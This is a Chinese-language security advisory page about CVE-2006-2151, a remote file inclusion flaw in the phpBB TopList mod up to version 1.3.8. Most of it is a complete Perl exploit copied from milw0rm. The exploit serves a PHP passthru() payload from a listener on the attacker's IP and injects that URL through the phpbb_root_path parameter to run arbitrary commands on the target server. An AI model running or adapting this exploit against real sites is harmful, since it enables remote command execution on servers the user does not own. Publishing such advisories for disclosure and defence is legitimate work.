首页 -> 安全研究

安全研究

安全漏洞
phpBB TopList phpbb_root_path变量远程文件包含漏洞

发布日期:2006-05-02
更新日期:2006-05-04

受影响系统:
phpBB Group TopList <= 1.3.8
描述:
CVE(CAN) ID: CVE-2006-2151

phpBB是一种用PHP语言实现的基于Web的开放源码论坛程序,使用较为广泛。它支持多种数据库作为后端,如Oracle、MSSQL、MySql、PostGres等等。

phpBB的toplist.php脚本没有正确地检查过滤phpbb_root_path变量的输入,攻击者可以利用这个漏洞包含外部和本地资源的任意脚本文件,从而以Web进程权限执行任意命令。

成功的攻击要求使能了PHP register_globals变量。

<*来源:[Oo]
  
  链接:http://secunia.com/advisories/19884/print/
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

# TopList Hack for PHPBB <= 1.3.8 Remote File Inclusion
# Based on http://milw0rm.com/exploits/1722
# Bug found by : [Oo]
#
# No more uploading php shells !!!
# This is my way of php include exploitation !!!
# Learn to play with sockets !!!
# FOX_MULDER (fox_mulder@abv.bg)

#!/usr/bin/perl
  use LWP 5.64;
  use IO::Socket;
  use LWP::Simple;

(my $hostname, my $target, my $dir,my $command) = @ARGV;

if(@ARGV < 4) {
print "=======================================================================+\n";
print "TopList REMOTE COMMAND EXECUTION EXPLOIT by fox_mulder\@abv.bg         |\n";
print "Usage: top.pl yourIP target /dir/ \"command\"                            |\n";
print "Example: top.pl 10.20.30.40 www.microsoft.com /forum/ \"uname -a\"     |\n";
print "=======================================================================+\n";
exit;
}
print "[+]Creating listening socket . . .\n";
my $sock = new IO::Socket::INET (
                                  LocalHost => "$hostname",
                                  LocalPort => '9999',
                                  Proto => 'tcp',
                                  Listen => 1,
                                  Reuse => 1,
                                 );
die "Could not create socket: $!\n" unless $sock;

        if (my $pid = fork){
        my $new_sock = $sock->accept();
                my $request = <$new_sock>;
                print $new_sock "HTTP/1.1 200 OK\n";
                print $new_sock "Content-Length: $content_length\n";
                print $new_sock "Content-Type: text/plain\n\n";
                print $new_sock "<? error_reporting(0);passthru(\"$command\"); ?>\n";
                close $new_sock;
                exit;
        }
print "[+]Injecting  command . . .\n";

my $browser = LWP::UserAgent->new;
   $browser->agent('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)');

  my $url = "http://$target/$dir/toplist.php";
  my $response = $browser->post( $url,
    [
    'f'            => "toplist_top10",
        'phpbb_root_path' => "http://$hostname:9999/blah.php"
]
  );

  die "Received invalid response type", $response->content_type
   unless $response->content_type eq 'text/html';

        print $response->content;

# milw0rm.com [2006-04-28]

建议:
厂商补丁:

phpBB Group
-----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.phpbb.com/downloads.php

浏览次数:2920
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障